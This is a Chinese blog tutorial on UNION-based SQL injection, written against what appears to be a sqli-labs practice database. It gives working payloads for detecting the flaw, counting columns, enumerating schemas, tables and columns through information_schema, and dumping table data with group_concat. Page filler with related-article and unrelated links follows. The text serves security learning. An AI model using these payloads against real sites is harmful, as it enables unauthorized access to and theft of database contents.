union注入

更多内容请看此链接:https://blog.csdn.net/weixin_45380284

1.判断是否存在注入:

方法一:

单引号法——在url最后加一个单引号,如:

http://www.123456.com/web/union.php?id=1'

页面不正常,浏览器返回异常信息说明该链接会存在注入漏洞。

方法二:

1=1和1=2法,如:

http://www.123456.com/web/union.php?id=1 and 1=1

URL:http://www.123456.com/web/union.php?id=1 and 1=2

如果返回不同的页面,那么说明存在SQL注入漏洞。

2.使用order by 1-99 来查询该数据表字段数

方法;

Id=1 order by 1-99 来判断字段数,例如:

http://www.tianchi.com/web/union.php?id=1 order by 3

发现当id=1 order by 3时,页面返回与id=1相同的结果;而id=1 order by 4时不一样,故字段数量是3。

3.查询sql语句插入位置:

http://www.tianchi.com/web/union.php? id=-1 union select 1,2,3

通过浏览器返回的值判断;如果返回2:3则说明2、3位置可以插入sql语句

4.获取数据库名:

1.获取当前数据库库名:

将id=-1 union select 1,2,3中2的位置改为database() 如:

http://www.tianchi.com/web/union.php?id=-1 union select 1,database(),3

2.获取所有数据库库名

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),schema_name),3 from information_schema.schemata

3.逐条获取数据库库名

语句:select schema_name from information_schema.schemata limit 0,1;

http://www.tianchi.com/web/union.php?id=-1 union select 1,(select schema_name from information_schema.schemata limit 0,1),3

修改limit中第一个数字,如获取第二个库名:limit 1,1。

数据库库名:

information_schema,challenges,dedecmsv57utf8sp2,dvwa,mysql,performance_schema,security,test,xssplatform

5.获取数据库表名:

(1)方法一:

获取数据库表名,这种方式一次获取一个表名,2位置修改为:

select table_name from information_schema.tables where table_schema='security' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3

修改limit中第一个数字,如获取第二个表名:limit 1,1,这样就可以获取所有的表名。

表名是:emails,referers,uagents,users。

(2)方法二:

一次性获取当前数据库所有表名:

http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),table_name),3 from information_schema.tables where table_schema='security'

6.取字段名

(1)方法一:

获取字段名,以emails表为例,2位置修改为:

select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1;

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3

修改limit中第一个数字,如获取第二个字段名:limit 1,1

字段名:id,email_id。

(2)方法二:

以emails表为例,一次性获取所有字段名:

URL:http://www.tianchi.com/web/union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3 from information_schema.columns where table_schema='security' and table_name='emails'

7.获取数据

(1)方法一:

获取数据,以emails表为例,2,3位置分别修改为:

(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

获取emails表第一,第二条数据:

1 : Dumb@dhakkan.com

2 : Angel@iloveu.com

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,(select id from security.emails limit 0,1),(select email_id from security.emails limit 0,1)

(2)方法二:

以emails表为例,一次性获取所有数据:

URL:http://www.tianchi.com/web/union.php?id=-1 union select

1,group_concat(char(32,58,32),id,email_id),3 from security.emails

8. union注入PHP代码

union注入的更多相关文章

  1. oracle union 注入工具

    '***********************************************************************************************'ora ...

  2. [php审计实战篇]BlueCms v1.6 Union注入

    非常基础的代码审计练习,适合有php基础的审计新手练习 本文作者:Aedoo 来源:i春秋社区 0×01 代码跟踪 首先,进入首页代码 :index.php 包含了php文件:/include/com ...

  3. SQL注入之Union注入攻击

    union联合查询算是最简单的一种注入了,但是却是经常遇到. 什么是UNION注入 UNION操作符用于合并两个或多个SELECT语句的结果集,而且UNION内部的SELECT语句必须拥有相同数量的列 ...

  4. sqli-labs less11-12(post型union注入)

    less-11 post型union注入 过程: 输入admin admin 判断username password的闭合方式 对username查字段个数 ' union select 1,2# ' ...

  5. i春秋-Phone number(union注入+hex转码)

    记一道union注入语句转十六进制的注入题. 这个网站的基本功能就是可以找出跟你用户名相同的注册的人数. 注册登录给了两个显位. 点击check可以显示出有多少人和你用户名相同. 同时在这个页面的源代 ...

  6. Mysql下Union注入Bypass安全狗过程

    文章转载于:http://www.0aa.me/index.php/archives/95/ 一次众测发现个注入,然后有安全狗就顺带看了下安全狗. 先fuzz看看安全狗拦截什么关键词union sel ...

  7. union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单

    这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...

  8. sql注入之union注入

    联合查询注入利用的前提: 必须要有回显 联合查询过程: 判断是否存在注入点 判断是什么类型注入(字符型or数字型) 判断闭合方式 查询列数个数(order by) 5, 获得数据库名 获得表名 获得字 ...

  9. sqli-labs less1-4(union注入)

    less-1 考点:Single quotes 输入: 判断类型 ?id=1 返回loginname和password.输入的id就是与后台数据库连接的接口通过id=? 查询数据库信息 ?id=1' ...

随机推荐

  1. 学员操作——制作5s关闭广告

    <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>广 ...

  2. EduSoho二次开发功能:单词本使用说明

    测试地址:http://shanxue.edusoho.site/ 管理账号:test 管理密码:123456 针对英语或其他语言进行单词展示,索引功能.可以针对单词进行最多三级的分类筛选,以及不限数 ...

  3. 一文读懂:GBDT梯度提升

    先缕一缕几个关系: GBDT是gradient-boost decision tree GBDT的核心就是gradient boost,我们搞清楚什么是gradient boost就可以了 GBDT是 ...

  4. java并发编程-线程生命周期

    线程生命周期 现代操作系统在运行一个程序时,会为其创建一个进程.例如,启动一个Java程序,操作系统就会创建一个Java进程.现代操作系统调度的最小单元是线程,也叫轻量级进程(Light Weight ...

  5. 729. My Calendar I

    原题链接:https://leetcode.com/problems/my-calendar-i/description/ 我的答案 虽然自己实现出来了,但是没看懂这道题目考查的是什么?编程语言的熟练 ...

  6. JSP新闻显示

    MYSQL数据库创建新闻表,用户登陆时使用SERVLET获取用户名,效验通过后直接跳转新闻列表页面,JSP使用EL显示新闻列表 1.首先创建数据库及用户.新闻表 CREATE DATABASE /*! ...

  7. Java Agent(上)

    1.java agent是什么? --->对用户透明,不侵入用户业务代码.让java虚拟机加载agent jar 2.java agent有什么用? --->应用场景例如:调用链追踪项目, ...

  8. vueX基础知识点笔记

    vuex是专门用来管理vue.js应用程序中状态的一个插件.他的作用是将应用中的所有状态都放在一起, 集中式来管理.需要声明的是,这里所说的状态指的是vue组件中data里面的属性.简单的来说, 它就 ...

  9. MongoDB快速入门教程 (4.4)

    4.5.Mongoose索引和方法 4.5.1.设置索引 let UserSchema = mongoose.Schema({ sn: { type: Number, // 设置唯一索引 unique ...

  10. socketserver模块使用与源码分析

    socketserver模块使用与源码分析 前言 在前面的学习中我们其实已经可以通过socket模块来建立我们的服务端,并且还介绍了关于TCP协议的粘包问题.但是还有一个非常大的问题就是我们所编写的S ...